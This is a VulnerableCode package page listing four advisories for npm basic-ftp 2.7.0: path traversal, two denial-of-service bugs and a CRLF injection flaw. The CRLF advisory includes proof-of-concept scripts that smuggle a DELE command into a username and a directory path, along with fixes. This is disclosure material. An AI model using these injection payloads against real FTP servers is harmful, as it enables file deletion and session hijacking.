VulnerableCode Package Details - pkg:npm/basic-ftp@2.7.0

Vulnerabilities affecting this package (4)

Vulnerability	Summary	Fixed by
VCID-1j9w-7nju-13bd Aliases: CVE-2026-27699 GHSA-5rq4-664w-9x2c	Basic FTP has Path Traversal Vulnerability in its downloadToDir() method The `basic-ftp` library contains a path traversal vulnerability in the `downloadToDir()` method. A malicious FTP server can send directory listings with filenames containing path traversal sequences (`../`) that cause files to be written outside the intended download directory.	5.2.0 Affected by 4 other vulnerabilities. This version is affected by these other vulnerabilities: {{ fixed_by_vuln.vulnerability_id }} {{ fixed_by_vuln.vulnerability_id }} {{ fixed_by_vuln.vulnerability_id }} {{ fixed_by_vuln.vulnerability_id }}
VCID-35wn-ny8a-wkdv Aliases: CVE-2026-44240 GHSA-rpmf-866q-6p89	basic-ftp is an FTP client for Node.js. Prior to 5.3.1, basic-ftp is vulnerable to client-side denial of service when parsing FTP control-channel multiline responses. A malicious or compromised FTP server can send an unterminated multiline response during the initial FTP banner phase, before authentication. The client keeps appending attacker-controlled data into FtpContext._partialResponse and repeatedly reparses the accumulated buffer without enforcing a maximum control response size. As a result, an application using basic-ftp can remain stuck in connect() while memory and CPU usage grow under attacker-controlled input. This can lead to process-level denial of service, container OOM kills, worker restarts, queue backlog, or service degradation in applications that automatically connect to FTP endpoints. This vulnerability is fixed in 5.3.1.	5.3.1 Affected by 0 other vulnerabilities.
VCID-hw1h-wvwj-wqbx Aliases: GHSA-6v7q-wjvx-w8wg	basic-ftp: Incomplete CRLF Injection Protection Allows Arbitrary FTP Command Execution via Credentials and MKD Commands ## Summary basic-ftp's CRLF injection protection (added in commit 2ecc8e2 for GHSA-chqc-8p9q-pq6q) is incomplete. Two code paths bypass the `protectWhitespace()` control character check: (1) the `login()` method directly concatenates user-supplied credentials into USER/PASS FTP commands without any validation, and (2) the `_openDir()` method sends an MKD command before `cd()` invokes `protectWhitespace()`, creating a TOCTOU bypass. Both vectors allow an attacker who controls input to inject arbitrary FTP commands into the control connection. ## Details ### Vector 1: Credential Injection (login) The `login()` method constructs FTP commands by direct string concatenation with no CRLF validation: ```typescript // src/Client.ts:216-231 login(user = "anonymous", password = "guest"): Promise<FTPResponse> { this.ftp.log(`Login security: ${describeTLS(this.ftp.socket)}`) return this.ftp.handle("USER " + user, (res, task) => { // Line 218: no validation on `user` // ... else if (res.code === 331) { this.ftp.send("PASS " + password) // Line 226: no validation on `password` } }) } ``` `FtpContext.send()` writes directly to the TCP socket: ```typescript // src/FtpContext.ts:223-227 send(command: string) { // ... this._socket.write(command + "\r\n", this.encoding) } ``` The `protectWhitespace()` method (line 762) rejects `\r`, `\n`, and `\0` characters — but it is only called for path-based operations. Credentials never pass through it. The public `access()` method (line 268) passes `options.user` and `options.password` directly to `login()` with no sanitization. ### Vector 2: MKD TOCTOU Bypass (_openDir) The `_openDir()` method sends an MKD command before the CRLF check in `cd()`: ```typescript // src/Client.ts:745-748 protected async _openDir(dirName: string) { await this.sendIgnoringError("MKD " + dirName) // Line 746: sent BEFORE validation await this.cd(dirName) // Line 747: protectWhitespace() called here — too late } ``` This is called from `ensureDir()` (line 729) which splits a user-supplied remote path by `/` and passes each fragment to `_openDir()`, and from `_uploadToWorkingDir()` (line 679) which passes local directory names read from the filesystem. ## PoC ### Vector 1: Credential Injection ```javascript const ftp = require("basic-ftp"); async function exploit() { const client = new ftp.Client(); client.ftp.verbose = true; // Connect to target FTP server await client.access({ host: "target-ftp-server", port: 21, // Username contains CRLF + injected DELE command user: "anonymous\r\nDELE important.txt", password: "guest" }); // Server receives on the wire: // USER anonymous\r\n // DELE important.txt\r\n // PASS guest\r\n // The DELE command executes before PASS is processed client.close(); } exploit(); ``` ### Vector 2: MKD TOCTOU Bypass ```javascript const ftp = require("basic-ftp"); async function exploit() { const client = new ftp.Client(); client.ftp.verbose = true; await client.access({ host: "target-ftp-server", user: "anonymous", password: "guest" }); // Path fragment with CRLF — MKD is sent before cd() validates try { await client.ensureDir("test\r\nDELE important.txt/subdir"); } catch (e) { // cd() throws after protectWhitespace() rejects, but MKD + DELE already sent } // Server received: // MKD test\r\n // DELE important.txt\r\n // CWD test\r\n <-- this may fail, but damage is done client.close(); } exploit(); ``` ## Impact An attacker who controls credentials or remote paths passed to basic-ftp can inject arbitrary FTP commands into the control connection. This enables: - File deletion: Inject `DELE` commands to remove files on the FTP server - File manipulation: Inject `RNFR`/`RNTO` to rename files, `MKD`/`RMD` to create/remove directories - Server commands: Inject `SITE` commands (e.g., `SITE CHMOD`) to change permissions - Session hijacking: Inject `USER`/`PASS` to re-authenticate as a different user The credential injection vector (Vector 1) is particularly dangerous because it occurs before authentication, meaning the injected commands execute with whatever default permissions the server grants during the login handshake. Applications that accept user-supplied FTP credentials (e.g., web-based file managers, backup tools, deployment systems) are directly vulnerable. ## Recommended Fix Add CRLF validation to both code paths: 1. Validate credentials in `login()`: ```typescript // src/Client.ts:216 login(user = "anonymous", password = "guest"): Promise<FTPResponse> { if (/[\r\n\0]/.test(user) \|\| /[\r\n\0]/.test(password)) { return Promise.reject(new Error("Invalid credentials: Contains control characters")); } this.ftp.log(`Login security: ${describeTLS(this.ftp.socket)}`) return this.ftp.handle("USER " + user, (res, task) => { // ... rest unchanged }) } ``` 2. Validate dirName in `_openDir()` before sending MKD: ```typescript // src/Client.ts:745 protected async _openDir(dirName: string) { if (/[\r\n\0]/.test(dirName)) { throw new Error("Invalid path: Contains control characters"); } await this.sendIgnoringError("MKD " + dirName) await this.cd(dirName) } ``` Alternatively, centralize CRLF validation in `FtpContext.send()` so that all FTP commands are protected regardless of the calling code path.	5.2.2 Affected by 2 other vulnerabilities. This version is affected by these other vulnerabilities: {{ fixed_by_vuln.vulnerability_id }} {{ fixed_by_vuln.vulnerability_id }}
VCID-peec-p93p-2ych Aliases: CVE-2026-41324 GHSA-rp42-5vxx-qpwr	basic-ftp: basic-ftp: Denial of Service via unbounded memory growth from malicious directory listings	5.3.0 Affected by 1 other vulnerability. This version is affected by these other vulnerabilities: {{ fixed_by_vuln.vulnerability_id }}

Next non-vulnerable version	5.3.1
Latest non-vulnerable version	5.3.1
Risk	4.5

Date	Actor	Action	Vulnerability	Source	VulnerableCode Version
2026-06-06T08:29:42.897210+00:00	GitLab Importer	Affected by	VCID-35wn-ny8a-wkdv	https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/basic-ftp/CVE-2026-44240.yml	38.6.0
2026-06-06T08:09:47.630685+00:00	GitLab Importer	Affected by	VCID-peec-p93p-2ych	https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/basic-ftp/CVE-2026-41324.yml	38.6.0
2026-06-06T08:06:23.252156+00:00	GitLab Importer	Affected by	VCID-peec-p93p-2ych	https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/basic-ftp/GHSA-rp42-5vxx-qpwr.yml	38.6.0
2026-06-06T07:54:20.434235+00:00	GitLab Importer	Affected by	VCID-hw1h-wvwj-wqbx	https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/basic-ftp/GHSA-6v7q-wjvx-w8wg.yml	38.6.0
2026-06-06T07:05:16.639954+00:00	GitLab Importer	Affected by	VCID-1j9w-7nju-13bd	https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/basic-ftp/CVE-2026-27699.yml	38.6.0